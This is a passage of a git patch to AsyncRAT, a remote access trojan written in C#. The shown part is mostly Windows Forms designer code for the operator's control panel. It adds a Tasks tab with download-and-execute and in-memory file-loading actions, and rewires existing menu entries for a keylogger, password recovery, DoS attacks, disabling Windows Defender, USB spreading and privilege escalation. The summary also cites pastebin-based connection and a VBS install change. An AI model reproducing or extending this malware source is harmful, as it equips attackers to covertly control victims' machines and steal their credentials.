From 90ffd47eb96e820e558b8a96a931adc0db3ca2fb Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 16 May 2019 14:13:17 +0300 Subject: [PATCH] Update Added Tasks Added connect via pastebin Fixed file manager (upload) Updated client install (vbs) --- AsyncRAT-C#/AsyncRAT-Sharp/App.config | 11 +- .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 1 + .../AsyncRAT-Sharp/Forms/Form1.Designer.cs | 256 +++++++++++++----- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 182 ++++++++++++- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx | 18 +- .../Forms/FormBuilder.Designer.cs | 86 ++++-- .../AsyncRAT-Sharp/Forms/FormBuilder.cs | 41 ++- .../AsyncRAT-Sharp/Forms/FormBuilder.resx | 3 + .../Forms/FormDownloadFile.Designer.cs | 2 +- .../AsyncRAT-Sharp/Forms/FormDownloadFile.cs | 64 ++--- .../AsyncRAT-Sharp/Forms/FormFileManager.cs | 17 +- .../Handle Packet/HandleFileManager.cs | 26 +- .../Handle Packet/HandleThumbnails.cs | 6 +- .../AsyncRAT-Sharp/Helper/AsyncTask.cs | 28 ++ .../Properties/Settings.Designer.cs | 38 ++- .../Properties/Settings.settings | 11 +- .../Resources/AsyncRAT-Sharp.exe.config | 11 +- AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 11 +- .../Client/Handle Packet/HandleFileManager.cs | 66 ++++- .../Handle Packet/HandleRemoteDesktop.cs | 6 +- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 7 + AsyncRAT-C#/Client/Install/NormalStartup.cs | 15 +- AsyncRAT-C#/Client/Settings.cs | 7 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 21 +- 25 files changed, 738 insertions(+), 198 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/AsyncRAT-Sharp/App.config index 67f88a7..1c149b7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/App.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/App.config @@ -13,18 +13,21 @@ - - - - False + True + + + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 2b7c3e9..376d081 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -146,6 +146,7 @@ + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index c771e2d..c40de59 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -39,7 +39,7 @@ this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.contextMenuClient = new System.Windows.Forms.ContextMenuStrip(this.components); this.cLIENTOPTIONSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.cLOSEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.rESTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -54,6 +54,7 @@ this.kEYLOGGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.fILEMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.dISABLESToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.wINDOWDSDEFENDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -64,7 +65,6 @@ this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.ping = new System.Windows.Forms.Timer(this.components); @@ -77,25 +77,38 @@ this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tabPage3 = new System.Windows.Forms.TabPage(); this.listView3 = new System.Windows.Forms.ListView(); - this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.contextMenuThumbnail = new System.Windows.Forms.ContextMenuStrip(this.components); this.sTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.imageList1 = new System.Windows.Forms.ImageList(this.components); + this.ThumbnailImageList = new System.Windows.Forms.ImageList(this.components); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.listView4 = new System.Windows.Forms.ListView(); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuTasks = new System.Windows.Forms.ContextMenuStrip(this.components); + this.downloadAndExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sENDFILETOMEMORYToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.uPDATEToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); + this.dELETETASKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.performanceCounter1 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); - this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.contextMenuNotification = new System.Windows.Forms.ContextMenuStrip(this.components); this.notificationOFFToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.contextMenuStrip1.SuspendLayout(); + this.TimerTask = new System.Windows.Forms.Timer(this.components); + this.contextMenuClient.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); this.tabPage2.SuspendLayout(); this.tabPage3.SuspendLayout(); - this.contextMenuStrip2.SuspendLayout(); + this.contextMenuThumbnail.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.contextMenuTasks.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).BeginInit(); - this.contextMenuStrip3.SuspendLayout(); + this.contextMenuNotification.SuspendLayout(); this.SuspendLayout(); // // listView1 @@ -110,7 +123,7 @@ this.lv_version, this.lv_prefor, this.lv_admin}); - this.listView1.ContextMenuStrip = this.contextMenuStrip1; + this.listView1.ContextMenuStrip = this.contextMenuClient; this.listView1.Dock = System.Windows.Forms.DockStyle.Fill; this.listView1.FullRowSelect = true; this.listView1.GridLines = true; @@ -165,10 +178,10 @@ this.lv_admin.Text = "PRIVILEGES"; this.lv_admin.Width = 166; // - // contextMenuStrip1 + // contextMenuClient // - this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); - this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuClient.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.cLIENTOPTIONSToolStripMenuItem, this.toolStripSeparator1, this.vISITWEBSITEToolStripMenuItem, @@ -189,8 +202,8 @@ this.bUILDERToolStripMenuItem, this.toolStripSeparator3, this.aBOUTToolStripMenuItem}); - this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(283, 568); + this.contextMenuClient.Name = "contextMenuStrip1"; + this.contextMenuClient.Size = new System.Drawing.Size(279, 532); // // cLIENTOPTIONSToolStripMenuItem // @@ -201,7 +214,7 @@ this.uNISTALLToolStripMenuItem}); this.cLIENTOPTIONSToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client; this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem"; - this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.cLIENTOPTIONSToolStripMenuItem.Text = "CLIENT OPTIONS"; // // cLOSEToolStripMenuItem @@ -235,13 +248,13 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(279, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(275, 6); // // vISITWEBSITEToolStripMenuItem // this.vISITWEBSITEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.visit; this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem"; - this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.vISITWEBSITEToolStripMenuItem.Text = "VISIT WEBSITE"; this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click); // @@ -249,7 +262,7 @@ // this.sENDMESSAGEBOXToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox; this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem"; - this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.sENDMESSAGEBOXToolStripMenuItem.Text = "SEND MESSAGEBOX"; this.sENDMESSAGEBOXToolStripMenuItem.Click += new System.EventHandler(this.sENDMESSAGEBOXToolStripMenuItem_Click); // @@ -257,7 +270,7 @@ // this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK"; this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1); // @@ -265,7 +278,7 @@ // this.sENDFILETOMEMORYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem1; this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem"; - this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY"; this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click); // @@ -273,7 +286,7 @@ // this.rEMOTEDESKTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop; this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem"; - this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP"; this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click); // @@ -281,7 +294,7 @@ // this.kEYLOGGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.logger; this.kEYLOGGERToolStripMenuItem.Name = "kEYLOGGERToolStripMenuItem"; - this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.kEYLOGGERToolStripMenuItem.Text = "KEYLOGGER"; this.kEYLOGGERToolStripMenuItem.Click += new System.EventHandler(this.KEYLOGGERToolStripMenuItem_Click); // @@ -289,7 +302,7 @@ // this.toolStripMenuItem1.Image = global::AsyncRAT_Sharp.Properties.Resources.ddos; this.toolStripMenuItem1.Name = "toolStripMenuItem1"; - this.toolStripMenuItem1.Size = new System.Drawing.Size(282, 30); + this.toolStripMenuItem1.Size = new System.Drawing.Size(278, 30); this.toolStripMenuItem1.Text = "DOS ATTACK"; this.toolStripMenuItem1.Click += new System.EventHandler(this.ToolStripMenuItem1_Click); // @@ -297,15 +310,23 @@ // this.fILEMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager; this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem"; - this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER"; this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click); // + // pASSWORDRECOVERYToolStripMenuItem + // + this.pASSWORDRECOVERYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.key; + this.pASSWORDRECOVERYToolStripMenuItem.Name = "pASSWORDRECOVERYToolStripMenuItem"; + this.pASSWORDRECOVERYToolStripMenuItem.Size = new System.Drawing.Size(278, 30); + this.pASSWORDRECOVERYToolStripMenuItem.Text = "PASSWORD RECOVERY"; + this.pASSWORDRECOVERYToolStripMenuItem.Click += new System.EventHandler(this.PASSWORDRECOVERYToolStripMenuItem_Click); + // // pROCESSMANAGERToolStripMenuItem // this.pROCESSMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.process; this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem"; - this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER"; this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click); // @@ -315,7 +336,7 @@ this.wINDOWDSDEFENDERToolStripMenuItem}); this.dISABLESToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.disabled; this.dISABLESToolStripMenuItem.Name = "dISABLESToolStripMenuItem"; - this.dISABLESToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.dISABLESToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.dISABLESToolStripMenuItem.Text = "DISABLES"; // // wINDOWDSDEFENDERToolStripMenuItem @@ -329,7 +350,7 @@ // this.bOTKILLERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller; this.bOTKILLERToolStripMenuItem.Name = "bOTKILLERToolStripMenuItem"; - this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.bOTKILLERToolStripMenuItem.Text = "BOT KILLER"; this.bOTKILLERToolStripMenuItem.Click += new System.EventHandler(this.BOTKILLERToolStripMenuItem_Click); // @@ -337,7 +358,7 @@ // this.uSBSPREADToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.usb; this.uSBSPREADToolStripMenuItem.Name = "uSBSPREADToolStripMenuItem"; - this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.uSBSPREADToolStripMenuItem.Text = "USB SPREAD"; this.uSBSPREADToolStripMenuItem.Click += new System.EventHandler(this.USBSPREADToolStripMenuItem_Click); // @@ -345,44 +366,36 @@ // this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.uac; this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Name = "gETADMINISTRATORPRIVILEGESToolStripMenuItem"; - this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Text = "GET ADMIN PRIVILEGES"; this.gETADMINISTRATORPRIVILEGESToolStripMenuItem.Click += new System.EventHandler(this.GETADMINISTRATORPRIVILEGESToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(279, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(275, 6); // // bUILDERToolStripMenuItem // this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // // toolStripSeparator3 // this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(279, 6); + this.toolStripSeparator3.Size = new System.Drawing.Size(275, 6); // // aBOUTToolStripMenuItem // this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; - this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(278, 30); this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); // - // pASSWORDRECOVERYToolStripMenuItem - // - this.pASSWORDRECOVERYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.key; - this.pASSWORDRECOVERYToolStripMenuItem.Name = "pASSWORDRECOVERYToolStripMenuItem"; - this.pASSWORDRECOVERYToolStripMenuItem.Size = new System.Drawing.Size(282, 30); - this.pASSWORDRECOVERYToolStripMenuItem.Text = "PASSWORD RECOVERY"; - this.pASSWORDRECOVERYToolStripMenuItem.Click += new System.EventHandler(this.PASSWORDRECOVERYToolStripMenuItem_Click); - // // statusStrip1 // this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); @@ -417,6 +430,7 @@ this.tabControl1.Controls.Add(this.tabPage1); this.tabControl1.Controls.Add(this.tabPage2); this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Controls.Add(this.tabPage4); this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Name = "tabControl1"; @@ -486,31 +500,31 @@ // // listView3 // - this.listView3.ContextMenuStrip = this.contextMenuStrip2; + this.listView3.ContextMenuStrip = this.contextMenuThumbnail; this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; - this.listView3.LargeImageList = this.imageList1; + this.listView3.LargeImageList = this.ThumbnailImageList; this.listView3.Location = new System.Drawing.Point(0, 0); this.listView3.Name = "listView3"; this.listView3.ShowItemToolTips = true; this.listView3.Size = new System.Drawing.Size(1160, 402); - this.listView3.SmallImageList = this.imageList1; + this.listView3.SmallImageList = this.ThumbnailImageList; this.listView3.TabIndex = 0; this.listView3.UseCompatibleStateImageBehavior = false; // - // contextMenuStrip2 + // contextMenuThumbnail // - this.contextMenuStrip2.ImageScalingSize = new System.Drawing.Size(24, 24); - this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.contextMenuThumbnail.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuThumbnail.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.sTARTToolStripMenuItem, this.sTOPToolStripMenuItem}); - this.contextMenuStrip2.Name = "contextMenuStrip2"; - this.contextMenuStrip2.Size = new System.Drawing.Size(144, 64); + this.contextMenuThumbnail.Name = "contextMenuStrip2"; + this.contextMenuThumbnail.Size = new System.Drawing.Size(140, 64); // // sTARTToolStripMenuItem // this.sTARTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.play_button; this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem"; - this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(143, 30); + this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(139, 30); this.sTARTToolStripMenuItem.Text = "START"; this.sTARTToolStripMenuItem.Click += new System.EventHandler(this.STARTToolStripMenuItem_Click); // @@ -518,15 +532,98 @@ // this.sTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.stop__1_; this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem"; - this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(143, 30); + this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(139, 30); this.sTOPToolStripMenuItem.Text = "STOP"; this.sTOPToolStripMenuItem.Click += new System.EventHandler(this.STOPToolStripMenuItem_Click); // - // imageList1 + // ThumbnailImageList // - this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit; - this.imageList1.ImageSize = new System.Drawing.Size(256, 256); - this.imageList1.TransparentColor = System.Drawing.Color.Transparent; + this.ThumbnailImageList.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit; + this.ThumbnailImageList.ImageSize = new System.Drawing.Size(256, 256); + this.ThumbnailImageList.TransparentColor = System.Drawing.Color.Transparent; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.listView4); + this.tabPage4.Location = new System.Drawing.Point(4, 29); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Padding = new System.Windows.Forms.Padding(3); + this.tabPage4.Size = new System.Drawing.Size(1160, 402); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = "Tasks"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // listView4 + // + this.listView4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader4, + this.columnHeader5}); + this.listView4.ContextMenuStrip = this.contextMenuTasks; + this.listView4.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView4.FullRowSelect = true; + this.listView4.Location = new System.Drawing.Point(3, 3); + this.listView4.Name = "listView4"; + this.listView4.Size = new System.Drawing.Size(1154, 396); + this.listView4.TabIndex = 0; + this.listView4.UseCompatibleStateImageBehavior = false; + this.listView4.View = System.Windows.Forms.View.Details; + // + // columnHeader4 + // + this.columnHeader4.Text = "Task"; + this.columnHeader4.Width = 97; + // + // columnHeader5 + // + this.columnHeader5.Text = "Execution"; + this.columnHeader5.Width = 116; + // + // contextMenuTasks + // + this.contextMenuTasks.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuTasks.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.downloadAndExecuteToolStripMenuItem, + this.sENDFILETOMEMORYToolStripMenuItem1, + this.uPDATEToolStripMenuItem1, + this.toolStripSeparator4, + this.dELETETASKToolStripMenuItem}); + this.contextMenuTasks.Name = "contextMenuStrip4"; + this.contextMenuTasks.ShowImageMargin = false; + this.contextMenuTasks.Size = new System.Drawing.Size(250, 130); + // + // downloadAndExecuteToolStripMenuItem + // + this.downloadAndExecuteToolStripMenuItem.Name = "downloadAndExecuteToolStripMenuItem"; + this.downloadAndExecuteToolStripMenuItem.Size = new System.Drawing.Size(249, 30); + this.downloadAndExecuteToolStripMenuItem.Text = "SEND FILE TO DISK"; + this.downloadAndExecuteToolStripMenuItem.Click += new System.EventHandler(this.DownloadAndExecuteToolStripMenuItem_Click); + // + // sENDFILETOMEMORYToolStripMenuItem1 + // + this.sENDFILETOMEMORYToolStripMenuItem1.Name = "sENDFILETOMEMORYToolStripMenuItem1"; + this.sENDFILETOMEMORYToolStripMenuItem1.Size = new System.Drawing.Size(249, 30); + this.sENDFILETOMEMORYToolStripMenuItem1.Text = "SEND FILE TO MEMORY"; + this.sENDFILETOMEMORYToolStripMenuItem1.Click += new System.EventHandler(this.SENDFILETOMEMORYToolStripMenuItem1_Click); + // + // uPDATEToolStripMenuItem1 + // + this.uPDATEToolStripMenuItem1.Name = "uPDATEToolStripMenuItem1"; + this.uPDATEToolStripMenuItem1.Size = new System.Drawing.Size(249, 30); + this.uPDATEToolStripMenuItem1.Text = "UPDATE"; + this.uPDATEToolStripMenuItem1.Click += new System.EventHandler(this.UPDATEToolStripMenuItem1_Click); + // + // toolStripSeparator4 + // + this.toolStripSeparator4.Name = "toolStripSeparator4"; + this.toolStripSeparator4.Size = new System.Drawing.Size(246, 6); + // + // dELETETASKToolStripMenuItem + // + this.dELETETASKToolStripMenuItem.Name = "dELETETASKToolStripMenuItem"; + this.dELETETASKToolStripMenuItem.Size = new System.Drawing.Size(249, 30); + this.dELETETASKToolStripMenuItem.Text = "DELETE TASK"; + this.dELETETASKToolStripMenuItem.Click += new System.EventHandler(this.DELETETASKToolStripMenuItem_Click); // // performanceCounter1 // @@ -541,26 +638,32 @@ // // notifyIcon1 // - this.notifyIcon1.ContextMenuStrip = this.contextMenuStrip3; + this.notifyIcon1.ContextMenuStrip = this.contextMenuNotification; this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon"))); this.notifyIcon1.Text = "AsyncRAT"; this.notifyIcon1.Visible = true; // - // contextMenuStrip3 + // contextMenuNotification // - this.contextMenuStrip3.ImageScalingSize = new System.Drawing.Size(24, 24); - this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.contextMenuNotification.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuNotification.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.notificationOFFToolStripMenuItem}); - this.contextMenuStrip3.Name = "contextMenuStrip3"; - this.contextMenuStrip3.Size = new System.Drawing.Size(224, 34); + this.contextMenuNotification.Name = "contextMenuStrip3"; + this.contextMenuNotification.Size = new System.Drawing.Size(258, 34); // // notificationOFFToolStripMenuItem // this.notificationOFFToolStripMenuItem.Name = "notificationOFFToolStripMenuItem"; - this.notificationOFFToolStripMenuItem.Size = new System.Drawing.Size(223, 30); - this.notificationOFFToolStripMenuItem.Text = "Notification [OFF]"; + this.notificationOFFToolStripMenuItem.Size = new System.Drawing.Size(257, 30); + this.notificationOFFToolStripMenuItem.Text = "Notification [ON/OFF]"; this.notificationOFFToolStripMenuItem.Click += new System.EventHandler(this.NotificationOFFToolStripMenuItem_Click); // + // TimerTask + // + this.TimerTask.Enabled = true; + this.TimerTask.Interval = 5000; + this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -575,17 +678,19 @@ this.Deactivate += new System.EventHandler(this.Form1_Deactivate); this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed); this.Load += new System.EventHandler(this.Form1_Load); - this.contextMenuStrip1.ResumeLayout(false); + this.contextMenuClient.ResumeLayout(false); this.statusStrip1.ResumeLayout(false); this.statusStrip1.PerformLayout(); this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.tabPage2.ResumeLayout(false); this.tabPage3.ResumeLayout(false); - this.contextMenuStrip2.ResumeLayout(false); + this.contextMenuThumbnail.ResumeLayout(false); + this.tabPage4.ResumeLayout(false); + this.contextMenuTasks.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).EndInit(); - this.contextMenuStrip3.ResumeLayout(false); + this.contextMenuNotification.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -597,7 +702,7 @@ private System.Windows.Forms.ColumnHeader lv_ip; private System.Windows.Forms.ColumnHeader lv_user; private System.Windows.Forms.ColumnHeader lv_os; - private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ContextMenuStrip contextMenuClient; private System.Windows.Forms.StatusStrip statusStrip1; private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1; private System.Windows.Forms.Timer ping; @@ -635,13 +740,13 @@ private System.Windows.Forms.ToolStripMenuItem aBOUTToolStripMenuItem; private System.Windows.Forms.ToolStripSeparator 